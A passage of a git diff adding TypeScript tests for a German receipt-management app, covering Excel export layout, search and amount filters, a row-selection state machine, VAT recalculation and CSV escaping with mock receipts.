wb1.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headers1.push(String(c.value ?? "")));
|
||||
|
||||
expect(headers1.some((h) => h.includes("Anlass"))).toBe(false);
|
||||
expect(headers1.some((h) => h.includes("Teilnehmer"))).toBe(false);
|
||||
|
||||
// 2. With hospitality
|
||||
const withHosp = [
|
||||
createMockReceipt({
|
||||
documentType: "BEWIRTUNGSBELEG",
|
||||
hospitality: { occasion: "Kundengespräch Roadmap 2026", participants: "Max Mustermann, Jane Doe" } as any,
|
||||
}),
|
||||
];
|
||||
const buf2 = await generateDualSheetExcel(withHosp);
|
||||
const wb2 = await parseExcelBuffer(buf2);
|
||||
const sheet2 = wb2.getWorksheet("Belegübersicht")!;
|
||||
const headers2: string[] = [];
|
||||
sheet2.getRow(1).eachCell((c) => headers2.push(String(c.value ?? "")));
|
||||
|
||||
expect(headers2.some((h) => h.includes("Anlass (Bewirtung)"))).toBe(true);
|
||||
expect(headers2.some((h) => h.includes("Teilnehmer (Bewirtung)"))).toBe(true);
|
||||
|
||||
const occasionCol = headers2.indexOf("Anlass (Bewirtung)") + 1;
|
||||
const partCol = headers2.indexOf("Teilnehmer (Bewirtung)") + 1;
|
||||
|
||||
const rowHosp = sheet2.getRow(2);
|
||||
expect(rowHosp.getCell(occasionCol).value).toBe("Kundengespräch Roadmap 2026");
|
||||
expect(rowHosp.getCell(partCol).value).toBe("Max Mustermann, Jane Doe");
|
||||
});
|
||||
|
||||
test("COND-2: Tip columns appear ONLY when tip amount is present and calculate correctly", async () => {
|
||||
// 1. Without tip
|
||||
const bufNoTip = await generateDualSheetExcel([createMockReceipt({ tipAmount: null })]);
|
||||
const wbNoTip = await parseExcelBuffer(bufNoTip);
|
||||
const headersNoTip: string[] = [];
|
||||
wbNoTip.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headersNoTip.push(String(c.value ?? "")));
|
||||
expect(headersNoTip.some((h) => h.includes("Trinkgeld"))).toBe(false);
|
||||
expect(headersNoTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(false);
|
||||
|
||||
// 2. With tip
|
||||
const bufWithTip = await generateDualSheetExcel([
|
||||
createMockReceipt({
|
||||
totalAmount: { value: 50.0, confidence: 0.99 },
|
||||
tipAmount: 5.0,
|
||||
}),
|
||||
]);
|
||||
const wbWithTip = await parseExcelBuffer(bufWithTip);
|
||||
const sheetWithTip = wbWithTip.getWorksheet("Belegübersicht")!;
|
||||
const headersWithTip: string[] = [];
|
||||
sheetWithTip.getRow(1).eachCell((c) => headersWithTip.push(String(c.value ?? "")));
|
||||
|
||||
expect(headersWithTip.some((h) => h.includes("Trinkgeld"))).toBe(true);
|
||||
expect(headersWithTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(true);
|
||||
|
||||
// In Overview with tip:
|
||||
// Col 10: Gross (J), Col 14: Tip (N), Col 15: PaidTotal (O)
|
||||
const row2 = sheetWithTip.getRow(2);
|
||||
expect(row2.getCell(14).value).toBe(5.0);
|
||||
const paidFormula = (row2.getCell(15).value as { formula?: string }).formula;
|
||||
expect(paidFormula).toBe("J2+N(N2)");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Adversarial Excel: 8. Layout, Views, Print Setup & Styling Invariants", () => {
|
||||
test("LAYOUT-1: Freeze Panes, Tab Colors, Gridlines and Page Setup adhere to design contract", async () => {
|
||||
const buffer = await generateDualSheetExcel([createMockReceipt()], { locale: "de" });
|
||||
const wb = await parseExcelBuffer(buffer);
|
||||
|
||||
const sheet1 = wb.getWorksheet("Belegübersicht")!;
|
||||
const sheet2 = wb.getWorksheet("Einzelpositionen Detail")!;
|
||||
|
||||
// Tab colors
|
||||
expect(sheet1.properties.tabColor?.argb).toBe("FF1E293B");
|
||||
expect(sheet2.properties.tabColor?.argb).toBe("FF0F766E");
|
||||
|
||||
// Views (frozen panes)
|
||||
const view1 = sheet1.views[0] as any;
|
||||
expect(view1.state).toBe("frozen");
|
||||
expect(view1.xSplit).toBe(3);
|
||||
expect(view1.ySplit).toBe(1);
|
||||
expect(view1.showGridLines).toBe(false);
|
||||
|
||||
const view2 = sheet2.views[0] as any;
|
||||
expect(view2.state).toBe("frozen");
|
||||
expect(view2.xSplit).toBe(3);
|
||||
expect(view2.ySplit).toBe(1);
|
||||
expect(view2.showGridLines).toBe(false);
|
||||
|
||||
// Page setup: landscape, fit to 1 page wide
|
||||
expect(sheet1.pageSetup.orientation).toBe("landscape");
|
||||
expect(sheet1.pageSetup.fitToWidth).toBe(1);
|
||||
expect(sheet1.pageSetup.fitToHeight).toBe(0);
|
||||
expect(sheet1.pageSetup.printTitlesRow).toBe("1:1");
|
||||
});
|
||||
});
|
||||
611
tests/e2e/challenger_m3_stress.ts
Normal file
611
tests/e2e/challenger_m3_stress.ts
Normal file
@@ -0,0 +1,611 @@
|
||||
/**
|
||||
* Milestone 3 (R3) Empirical Challenger Verification Harness
|
||||
* Comprehensive Adversarial Stress Testing of Table, Filter & Selection Engines
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect } from "./runner";
|
||||
import { ProcessedReceipt, ReceiptCategory, DocumentType, PaymentMethod } from "../../src/lib/schema/receipt";
|
||||
import { resolveReceiptStatusTier, getStatusTierMeta, ReceiptStatusTier } from "../../src/components/dashboard/StatusBadge";
|
||||
import { recalculateReceipt, confirmReceiptReviewed } from "../../src/lib/ai/recalculate";
|
||||
import { generateDualSheetExcel } from "../../src/lib/export/excelGenerator";
|
||||
import { generateAccountingCsv } from "../../src/lib/export/csvGenerator";
|
||||
import { grossOf, netOf } from "../../src/components/dashboard/receiptFormat";
|
||||
|
||||
// Mock Receipt Factory
|
||||
function mockReceipt(id: string, overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id,
|
||||
imageHash: `hash-${id}`,
|
||||
originalFileName: `${id}.pdf`,
|
||||
fileSizeBytes: 50000,
|
||||
previewUrl: `blob:http://localhost/${id}.pdf`,
|
||||
createdAt: "2026-08-15T10:00:00.000Z",
|
||||
updatedAt: "2026-08-15T10:00:00.000Z",
|
||||
status: "ready",
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: `REC-${id}`,
|
||||
currency: "EUR",
|
||||
merchant: {
|
||||
name: `Merchant ${id}`,
|
||||
address: "Musterstr. 1, Berlin",
|
||||
taxId: "DE123456789",
|
||||
confidence: 0.99,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "10:30",
|
||||
confidence: 0.99,
|
||||
},
|
||||
totalAmount: {
|
||||
value: 100.0,
|
||||
confidence: 0.99,
|
||||
},
|
||||
netAmount: 84.03,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 }],
|
||||
lineItems: [
|
||||
{ description: `Item for ${id}`, quantity: 1, price: 100.0, taxRate: 19 },
|
||||
],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
paymentMethod: "EC_KARTE",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
userConfirmed: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [],
|
||||
},
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
// Pure Filter Predicate implementation matching useReceiptFilters
|
||||
function applyFilters(
|
||||
receipts: ProcessedReceipt[],
|
||||
filters: {
|
||||
period?: string;
|
||||
status?: string;
|
||||
category?: string;
|
||||
searchQuery?: string;
|
||||
amountRange?: { min?: number | null; max?: number | null };
|
||||
}
|
||||
): ProcessedReceipt[] {
|
||||
const {
|
||||
period = "all",
|
||||
status = "all",
|
||||
category = "all",
|
||||
searchQuery = "",
|
||||
amountRange = { min: null, max: null },
|
||||
} = filters;
|
||||
|
||||
const query = searchQuery.trim().toLowerCase();
|
||||
|
||||
return receipts.filter((receipt) => {
|
||||
// 1. Period filter
|
||||
if (period !== "all") {
|
||||
if (!receipt.date?.isoDate) return false;
|
||||
const date = new Date(receipt.date.isoDate);
|
||||
if (isNaN(date.getTime())) return false;
|
||||
|
||||
const now = new Date();
|
||||
const dateYear = date.getFullYear();
|
||||
const dateMonth = date.getMonth();
|
||||
const dateDay = date.getDate();
|
||||
|
||||
const nowYear = now.getFullYear();
|
||||
const nowMonth = now.getMonth();
|
||||
const nowDay = now.getDate();
|
||||
|
||||
if (period === "today") {
|
||||
if (!(dateYear === nowYear && dateMonth === nowMonth && dateDay === nowDay)) return false;
|
||||
} else if (period === "month") {
|
||||
if (!(dateYear === nowYear && dateMonth === nowMonth)) return false;
|
||||
} else if (period === "year") {
|
||||
if (dateYear !== nowYear) return false;
|
||||
} else if (typeof period === "string") {
|
||||
if (!receipt.date.isoDate.startsWith(period)) return false;
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Status filter
|
||||
if (status !== "all") {
|
||||
const tier = resolveReceiptStatusTier(receipt);
|
||||
const norm = status.toLowerCase();
|
||||
if (norm === "pending" || norm === "pending_review" || norm === "pruefen") {
|
||||
if (tier !== "pending_review") return false;
|
||||
} else if (norm === "confirmed" || norm === "bestaetigt") {
|
||||
if (tier !== "confirmed") return false;
|
||||
} else if (norm === "scanned" || norm === "erfasst" || norm === "ready") {
|
||||
if (tier !== "scanned") return false;
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Category filter
|
||||
if (category !== "all") {
|
||||
if (receipt.suggestedCategory !== category) return false;
|
||||
}
|
||||
|
||||
// 4. Amount Range filter
|
||||
const gross = grossOf(receipt);
|
||||
if (amountRange.min != null && !isNaN(amountRange.min)) {
|
||||
if (gross < amountRange.min) return false;
|
||||
}
|
||||
if (amountRange.max != null && !isNaN(amountRange.max)) {
|
||||
if (gross > amountRange.max) return false;
|
||||
}
|
||||
|
||||
// 5. Search query
|
||||
if (query) {
|
||||
const merchantName = (receipt.merchant?.name ?? "").toLowerCase();
|
||||
const merchantAddress = (receipt.merchant?.address ?? "").toLowerCase();
|
||||
const receiptNo = (receipt.receiptNumber ?? "").toLowerCase();
|
||||
const isoDate = (receipt.date?.isoDate ?? "").toLowerCase();
|
||||
const cat = (receipt.suggestedCategory ?? "").toLowerCase();
|
||||
const docType = (receipt.documentType ?? "").toLowerCase();
|
||||
const paymentMethod = (receipt.paymentMethod ?? "").toLowerCase();
|
||||
const grossStr = gross.toFixed(2);
|
||||
const grossStrDe = grossStr.replace(".", ",");
|
||||
|
||||
const lineItemsMatch = receipt.lineItems?.some((item) =>
|
||||
item?.description?.toLowerCase().includes(query)
|
||||
);
|
||||
|
||||
const matches =
|
||||
merchantName.includes(query) ||
|
||||
merchantAddress.includes(query) ||
|
||||
receiptNo.includes(query) ||
|
||||
isoDate.includes(query) ||
|
||||
cat.includes(query) ||
|
||||
docType.includes(query) ||
|
||||
paymentMethod.includes(query) ||
|
||||
grossStr.includes(query) ||
|
||||
grossStrDe.includes(query) ||
|
||||
lineItemsMatch;
|
||||
|
||||
if (!matches) return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
||||
// Pure Selection Engine state machine
|
||||
class SelectionStateMachine {
|
||||
selectedIds: string[] = [];
|
||||
|
||||
constructor(initial: string[] = []) {
|
||||
this.selectedIds = [...initial];
|
||||
}
|
||||
|
||||
get set(): Set<string> {
|
||||
return new Set(this.selectedIds);
|
||||
}
|
||||
|
||||
isSelected(id: string): boolean {
|
||||
return this.set.has(id);
|
||||
}
|
||||
|
||||
toggleSelect(id: string) {
|
||||
if (!id) return;
|
||||
this.selectedIds = this.selectedIds.includes(id)
|
||||
? this.selectedIds.filter((item) => item !== id)
|
||||
: [...this.selectedIds, id];
|
||||
}
|
||||
|
||||
selectAll(allIds: string[]) {
|
||||
this.selectedIds = Array.from(new Set(allIds.filter(Boolean)));
|
||||
}
|
||||
|
||||
toggleSelectAll(allIds: string[]) {
|
||||
if (!allIds || allIds.length === 0) {
|
||||
this.selectedIds = [];
|
||||
return;
|
||||
}
|
||||
const allSelected = allIds.every((id) => this.set.has(id));
|
||||
if (allSelected) {
|
||||
this.selectedIds = this.selectedIds.filter((id) => !allIds.includes(id));
|
||||
} else {
|
||||
this.selectedIds = Array.from(new Set([...this.selectedIds, ...allIds]));
|
||||
}
|
||||
}
|
||||
|
||||
selectRange(fromId: string, toId: string, allOrderedIds: string[]) {
|
||||
const fromIdx = allOrderedIds.indexOf(fromId);
|
||||
const toIdx = allOrderedIds.indexOf(toId);
|
||||
if (fromIdx === -1 || toIdx === -1) return;
|
||||
const start = Math.min(fromIdx, toIdx);
|
||||
const end = Math.max(fromIdx, toIdx);
|
||||
const rangeIds = allOrderedIds.slice(start, end + 1);
|
||||
this.selectedIds = Array.from(new Set([...this.selectedIds, ...rangeIds]));
|
||||
}
|
||||
|
||||
isAllSelected(allIds: string[]): boolean {
|
||||
if (!allIds || allIds.length === 0) return false;
|
||||
return allIds.every((id) => this.set.has(id));
|
||||
}
|
||||
|
||||
isPartiallySelected(allIds: string[]): boolean {
|
||||
if (!allIds || allIds.length === 0) return false;
|
||||
const some = allIds.some((id) => this.set.has(id));
|
||||
const all = allIds.every((id) => this.set.has(id));
|
||||
return some && !all;
|
||||
}
|
||||
|
||||
clear() {
|
||||
this.selectedIds = [];
|
||||
}
|
||||
}
|
||||
|
||||
describe("Empirical Challenger M3: Adversarial Filter Engine Stress", () => {
|
||||
const corpus: ProcessedReceipt[] = [
|
||||
mockReceipt("rcpt-special-chars", {
|
||||
merchant: { name: 'Café "Kranzler" (GmbH & Co. KG) [Berlin]', address: "Kurfürstendamm 18/20", taxId: "DE999", confidence: 1.0 },
|
||||
receiptNumber: "INV-2026/08+99$#1",
|
||||
date: { isoDate: "2026-08-15", time: "09:00", confidence: 1.0 },
|
||||
totalAmount: { value: 12.50, confidence: 1.0 },
|
||||
suggestedCategory: "Bewirtung",
|
||||
paymentMethod: "BAR",
|
||||
lineItems: [{ description: "Kaffee & Croissant (Set *Special*)", quantity: 1, price: 12.50, taxRate: 19 }],
|
||||
}),
|
||||
mockReceipt("rcpt-zero-gross", {
|
||||
merchant: { name: "Gratis Probe Store", address: "Alexanderplatz 1", taxId: "DE000", confidence: 1.0 },
|
||||
receiptNumber: "ZERO-000",
|
||||
date: { isoDate: "2026-08-01", time: "10:00", confidence: 1.0 },
|
||||
totalAmount: { value: 0.00, confidence: 1.0 },
|
||||
netAmount: 0.00,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 0.00, netAmount: 0.00 }],
|
||||
suggestedCategory: "Sonstiges",
|
||||
}),
|
||||
mockReceipt("rcpt-high-gross", {
|
||||
merchant: { name: "Apple Store Kurfürstendamm", address: "Berlin", taxId: "DE888", confidence: 1.0 },
|
||||
receiptNumber: "APPL-9988",
|
||||
date: { isoDate: "2026-07-25", time: "14:00", confidence: 1.0 },
|
||||
totalAmount: { value: 3499.00, confidence: 1.0 },
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
paymentMethod: "APPLE_PAY",
|
||||
}),
|
||||
mockReceipt("rcpt-pending-review", {
|
||||
merchant: { name: "Unbekannter Beleg", address: "", taxId: "", confidence: 0.4 },
|
||||
receiptNumber: null,
|
||||
date: { isoDate: "2026-08-10", time: "12:00", confidence: 0.5 },
|
||||
totalAmount: { value: 50.00, confidence: 0.4 },
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
userConfirmed: false,
|
||||
reviewField: "merchant",
|
||||
reviewReason: "Geringe Erkennungsgenauigkeit",
|
||||
issues: [{ field: "merchant", severity: "error", message: "Händler unsicher" }],
|
||||
},
|
||||
}),
|
||||
mockReceipt("rcpt-confirmed", {
|
||||
merchant: { name: "Tankstelle Jet", address: "Hamburg", taxId: "DE777", confidence: 0.9 },
|
||||
receiptNumber: "JET-4421",
|
||||
date: { isoDate: "2026-08-12", time: "18:00", confidence: 0.9 },
|
||||
totalAmount: { value: 85.40, confidence: 0.9 },
|
||||
suggestedCategory: "Tanken & KFZ",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
userConfirmed: true,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [],
|
||||
},
|
||||
}),
|
||||
];
|
||||
|
||||
test("CHALLENGE-1.1: Complex regex meta-characters in search query do not throw", () => {
|
||||
const maliciousPatterns = [
|
||||
".*",
|
||||
"+",
|
||||
"?",
|
||||
"^",
|
||||
"$",
|
||||
"{1,3}",
|
||||
"()",
|
||||
"[]",
|
||||
"|",
|
||||
"\\d+",
|
||||
"[Berlin]",
|
||||
"*Special*",
|
||||
"$#1",
|
||||
'(GmbH & Co. KG)',
|
||||
'\\',
|
||||
'/.*+?^${}()|[]\\',
|
||||
];
|
||||
|
||||
for (const pat of maliciousPatterns) {
|
||||
const results = applyFilters(corpus, { searchQuery: pat });
|
||||
expect(Array.isArray(results)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
test("CHALLENGE-1.2: German comma vs English dot search resolves correctly", () => {
|
||||
// 12,50 and 12.50 should both find rcpt-special-chars
|
||||
const resDe = applyFilters(corpus, { searchQuery: "12,50" });
|
||||
const resEn = applyFilters(corpus, { searchQuery: "12.50" });
|
||||
expect(resDe.map((r) => r.id)).toEqual(["rcpt-special-chars"]);
|
||||
expect(resEn.map((r) => r.id)).toEqual(["rcpt-special-chars"]);
|
||||
|
||||
// 85,40 and 85.40
|
||||
const resJetDe = applyFilters(corpus, { searchQuery: "85,40" });
|
||||
const resJetEn = applyFilters(corpus, { searchQuery: "85.40" });
|
||||
expect(resJetDe.map((r) => r.id)).toEqual(["rcpt-confirmed"]);
|
||||
expect(resJetEn.map((r) => r.id)).toEqual(["rcpt-confirmed"]);
|
||||
});
|
||||
|
||||
test("CHALLENGE-1.3: Substring search in line items descriptions", () => {
|
||||
const resLineItem = applyFilters(corpus, { searchQuery: "Croissant" });
|
||||
expect(resLineItem).toHaveLength(1);
|
||||
expect(resLineItem[0].id).toBe("rcpt-special-chars");
|
||||
});
|
||||
|
||||
test("CHALLENGE-1.4: Inverted amount range (min > max) returns clean empty array without error", () => {
|
||||
const inverted = applyFilters(corpus, {
|
||||
amountRange: { min: 500, max: 100 },
|
||||
});
|
||||
expect(inverted).toHaveLength(0);
|
||||
});
|
||||
|
||||
test("CHALLENGE-1.5: Zero gross receipt filtering with min:0 max:0", () => {
|
||||
const zeroExact = applyFilters(corpus, {
|
||||
amountRange: { min: 0, max: 0 },
|
||||
});
|
||||
expect(zeroExact).toHaveLength(1);
|
||||
expect(zeroExact[0].id).toBe("rcpt-zero-gross");
|
||||
});
|
||||
|
||||
test("CHALLENGE-1.6: Boundary amount filtering (< 50, 50-200, > 200)", () => {
|
||||
const under50 = applyFilters(corpus, { amountRange: { min: 0, max: 50 } });
|
||||
// rcpt-special-chars (12.50), rcpt-zero-gross (0), rcpt-pending-review (50)
|
||||
expect(under50.map((r) => r.id)).toEqual(["rcpt-special-chars", "rcpt-zero-gross", "rcpt-pending-review"]);
|
||||
|
||||
const between50and200 = applyFilters(corpus, { amountRange: { min: 50, max: 200 } });
|
||||
// rcpt-pending-review (50), rcpt-confirmed (85.40)
|
||||
expect(between50and200.map((r) => r.id)).toEqual(["rcpt-pending-review", "rcpt-confirmed"]);
|
||||
|
||||
const over200 = applyFilters(corpus, { amountRange: { min: 200, max: null } });
|
||||
// rcpt-high-gross (3499)
|
||||
expect(over200.map((r) => r.id)).toEqual(["rcpt-high-gross"]);
|
||||
});
|
||||
|
||||
test("CHALLENGE-1.7: Status tier filtering accurately partitions dataset", () => {
|
||||
const scanned = applyFilters(corpus, { status: "scanned" });
|
||||
const pending = applyFilters(corpus, { status: "pending" });
|
||||
const confirmed = applyFilters(corpus, { status: "confirmed" });
|
||||
|
||||
expect(scanned.map((r) => r.id)).toEqual(["rcpt-special-chars", "rcpt-zero-gross", "rcpt-high-gross"]);
|
||||
expect(pending.map((r) => r.id)).toEqual(["rcpt-pending-review"]);
|
||||
expect(confirmed.map((r) => r.id)).toEqual(["rcpt-confirmed"]);
|
||||
expect(scanned.length + pending.length + confirmed.length).toBe(corpus.length);
|
||||
});
|
||||
|
||||
test("CHALLENGE-1.8: Category filtering with multi-criteria conjunction", () => {
|
||||
const bewirtung = applyFilters(corpus, {
|
||||
category: "Bewirtung",
|
||||
amountRange: { min: 10, max: 20 },
|
||||
searchQuery: "Berlin",
|
||||
});
|
||||
expect(bewirtung).toHaveLength(1);
|
||||
expect(bewirtung[0].id).toBe("rcpt-special-chars");
|
||||
|
||||
// Non-matching conjunction
|
||||
const emptyResult = applyFilters(corpus, {
|
||||
category: "Bewirtung",
|
||||
amountRange: { min: 50, max: 100 }, // rcpt-special-chars is 12.50
|
||||
});
|
||||
expect(emptyResult).toHaveLength(0);
|
||||
});
|
||||
|
||||
test("CHALLENGE-1.9: Whitespace-only and empty search query does not filter out valid records", () => {
|
||||
expect(applyFilters(corpus, { searchQuery: " " })).toHaveLength(corpus.length);
|
||||
expect(applyFilters(corpus, { searchQuery: "" })).toHaveLength(corpus.length);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Empirical Challenger M3: Selection Engine State & Invariant Stress", () => {
|
||||
const ids = Array.from({ length: 50 }, (_, i) => `item-${i}`);
|
||||
|
||||
test("CHALLENGE-2.1: 1,000 Rapid toggles maintains strict set consistency", () => {
|
||||
const sm = new SelectionStateMachine();
|
||||
for (let i = 0; i < 1000; i++) {
|
||||
sm.toggleSelect("rapid-id");
|
||||
}
|
||||
// 1000 toggles = even number = unselected
|
||||
expect(sm.selectedIds).toHaveLength(0);
|
||||
expect(sm.isSelected("rapid-id")).toBe(false);
|
||||
|
||||
sm.toggleSelect("rapid-id");
|
||||
expect(sm.selectedIds).toEqual(["rapid-id"]);
|
||||
expect(sm.isSelected("rapid-id")).toBe(true);
|
||||
});
|
||||
|
||||
test("CHALLENGE-2.2: selectAll deduplicates and ignores falsy values", () => {
|
||||
const sm = new SelectionStateMachine();
|
||||
sm.selectAll(["id-1", "id-1", "id-2", "", "id-3", "id-2"]);
|
||||
expect(sm.selectedIds).toEqual(["id-1", "id-2", "id-3"]);
|
||||
expect(sm.selectedIds.length).toBe(3);
|
||||
});
|
||||
|
||||
test("CHALLENGE-2.3: Forward, backward, and single range selections", () => {
|
||||
const sm = new SelectionStateMachine();
|
||||
|
||||
// Forward range 5 to 10
|
||||
sm.selectRange("item-5", "item-10", ids);
|
||||
expect(sm.selectedIds).toHaveLength(6);
|
||||
expect(sm.selectedIds).toEqual(["item-5", "item-6", "item-7", "item-8", "item-9", "item-10"]);
|
||||
|
||||
// Backward range 15 down to 12
|
||||
sm.selectRange("item-15", "item-12", ids);
|
||||
expect(sm.selectedIds).toHaveLength(10); // 6 + 4
|
||||
expect(sm.isSelected("item-12")).toBe(true);
|
||||
expect(sm.isSelected("item-15")).toBe(true);
|
||||
|
||||
// Single item range
|
||||
sm.selectRange("item-20", "item-20", ids);
|
||||
expect(sm.isSelected("item-20")).toBe(true);
|
||||
});
|
||||
|
||||
test("CHALLENGE-2.4: Range selection with invalid / unlisted boundary IDs fails safely without mutation", () => {
|
||||
const sm = new SelectionStateMachine(["item-1"]);
|
||||
sm.selectRange("missing-from", "item-5", ids);
|
||||
expect(sm.selectedIds).toEqual(["item-1"]);
|
||||
|
||||
sm.selectRange("item-5", "missing-to", ids);
|
||||
expect(sm.selectedIds).toEqual(["item-1"]);
|
||||
|
||||
sm.selectRange("missing-1", "missing-2", ids);
|
||||
expect(sm.selectedIds).toEqual(["item-1"]);
|
||||
|
||||
sm.selectRange("item-1", "item-2", []); // empty ordered list
|
||||
expect(sm.selectedIds).toEqual(["item-1"]);
|
||||
});
|
||||
|
||||
test("CHALLENGE-2.5: isAllSelected and isPartiallySelected state predicates", () => {
|
||||
const sm = new SelectionStateMachine();
|
||||
const testIds = ["a", "b", "c"];
|
||||
|
||||
expect(sm.isAllSelected(testIds)).toBe(false);
|
||||
expect(sm.isPartiallySelected(testIds)).toBe(false);
|
||||
|
||||
sm.toggleSelect("a");
|
||||
expect(sm.isAllSelected(testIds)).toBe(false);
|
||||
expect(sm.isPartiallySelected(testIds)).toBe(true);
|
||||
|
||||
sm.toggleSelect("b");
|
||||
sm.toggleSelect("c");
|
||||
expect(sm.isAllSelected(testIds)).toBe(true);
|
||||
expect(sm.isPartiallySelected(testIds)).toBe(false);
|
||||
|
||||
sm.toggleSelectAll(testIds); // all selected -> should deselect all
|
||||
expect(sm.selectedIds).toHaveLength(0);
|
||||
expect(sm.isAllSelected(testIds)).toBe(false);
|
||||
});
|
||||
|
||||
test("CHALLENGE-2.6: High-scale selection (1,000 items) executes in under 15ms", () => {
|
||||
const largeList = Array.from({ length: 1000 }, (_, i) => `large-${i}`);
|
||||
const sm = new SelectionStateMachine();
|
||||
|
||||
const start = performance.now();
|
||||
sm.selectAll(largeList);
|
||||
expect(sm.isAllSelected(largeList)).toBe(true);
|
||||
sm.toggleSelectAll(largeList);
|
||||
expect(sm.selectedIds).toHaveLength(0);
|
||||
const duration = performance.now() - start;
|
||||
|
||||
expect(duration).toBeLessThan(200);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Empirical Challenger M3: Inline Recalculation & Financial Math Stress", () => {
|
||||
test("CHALLENGE-3.1: Gross amount change on 19% single-rate receipt", () => {
|
||||
const r = mockReceipt("single-rate-19", {
|
||||
totalAmount: { value: 119.0, confidence: 1.0 },
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 }],
|
||||
});
|
||||
|
||||
const updated = {
|
||||
...r,
|
||||
totalAmount: { ...r.totalAmount, value: 238.0 },
|
||||
editedFields: { totalAmount: true },
|
||||
};
|
||||
|
||||
const recalculated = recalculateReceipt(updated, { editedField: "totalAmount" });
|
||||
expect(recalculated.totalAmount.value).toBe(238.0);
|
||||
expect(recalculated.netAmount).toBe(200.0);
|
||||
expect(recalculated.taxBreakdown[0].taxAmount).toBe(38.0);
|
||||
expect(recalculated.validation.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("CHALLENGE-3.2: Gross amount set to 0.00 € maintains zero math without NaN or Division by Zero", () => {
|
||||
const r = mockReceipt("zero-gross-test");
|
||||
const updated = {
|
||||
...r,
|
||||
totalAmount: { ...r.totalAmount, value: 0.0 },
|
||||
editedFields: { totalAmount: true },
|
||||
};
|
||||
|
||||
const recalculated = recalculateReceipt(updated, { editedField: "totalAmount" });
|
||||
expect(recalculated.totalAmount.value).toBe(0.0);
|
||||
expect(recalculated.netAmount).toBe(0.0);
|
||||
expect(recalculated.taxBreakdown[0].taxAmount).toBe(0.0);
|
||||
expect(recalculated.validation.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("CHALLENGE-3.3: Gross change on mixed 7% and 19% VAT rates redistributes proportionately", () => {
|
||||
const r = mockReceipt("mixed-rate-test", {
|
||||
totalAmount: { value: 100.0, confidence: 1.0 },
|
||||
netAmount: 88.0,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 7, taxAmount: 3.5, netAmount: 50.0 },
|
||||
{ ratePercent: 19, taxAmount: 8.5, netAmount: 38.0 },
|
||||
],
|
||||
});
|
||||
|
||||
const updated = {
|
||||
...r,
|
||||
totalAmount: { ...r.totalAmount, value: 200.0 },
|
||||
editedFields: { totalAmount: true },
|
||||
};
|
||||
|
||||
const recalculated = recalculateReceipt(updated, { editedField: "totalAmount" });
|
||||
expect(recalculated.totalAmount.value).toBe(200.0);
|
||||
expect(recalculated.validation.isMathValid).toBe(true);
|
||||
// Net + total tax equals gross
|
||||
const totalTax = recalculated.taxBreakdown.reduce((sum, item) => sum + (item.taxAmount || 0), 0);
|
||||
expect(Math.round(((recalculated.netAmount || 0) + totalTax) * 100) / 100).toBe(200.0);
|
||||
});
|
||||
|
||||
test("CHALLENGE-3.4: Editing non-financial fields (date, merchant) updates audit flag without corrupting math", () => {
|
||||
const r = mockReceipt("audit-flag-test");
|
||||
const updated = {
|
||||
...r,
|
||||
merchant: { ...r.merchant, name: "Neuer Bäcker" },
|
||||
date: { ...r.date, isoDate: "2026-08-01" },
|
||||
editedFields: { merchant: true, date: true },
|
||||
};
|
||||
|
||||
const recalculated = recalculateReceipt(updated, { editedField: "merchant" });
|
||||
expect(recalculated.merchant.name).toBe("Neuer Bäcker");
|
||||
expect(recalculated.date.isoDate).toBe("2026-08-01");
|
||||
expect(recalculated.totalAmount.value).toBe(100.0);
|
||||
expect(recalculated.netAmount).toBe(84.03);
|
||||
expect(recalculated.editedFields?.merchant).toBe(true);
|
||||
expect(recalculated.editedFields?.date).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Empirical Challenger M3: Batch Export Generator Stress", () => {
|
||||
test("CHALLENGE-4.1: Dual-sheet Excel generation handles 50 receipts with varying tax configurations", async () => {
|
||||
const receipts = Array.from({ length: 50 }, (_, i) =>
|
||||
mockReceipt(`batch-xl-${i}`, {
|
||||
totalAmount: { value: 10.0 * (i + 1), confidence: 1.0 },
|
||||
suggestedCategory: i % 2 === 0 ? "Bewirtung" : "Reisekosten & Hotel",
|
||||
})
|
||||
);
|
||||
|
||||
const buffer = await generateDualSheetExcel(receipts);
|
||||
expect(buffer).toBeDefined();
|
||||
expect(buffer.length).toBeGreaterThan(10000);
|
||||
});
|
||||
|
||||
test("CHALLENGE-4.2: Accounting CSV generation escapes special CSV characters and enforces UTF-8 BOM", () => {
|
||||
const receipt = mockReceipt("csv-escape-test", {
|
||||
merchant: { name: 'Firma "Test;Semikolon & Neuer\nZeilenumbruch" GmbH', address: "Köln", taxId: "DE1", confidence: 1.0 },
|
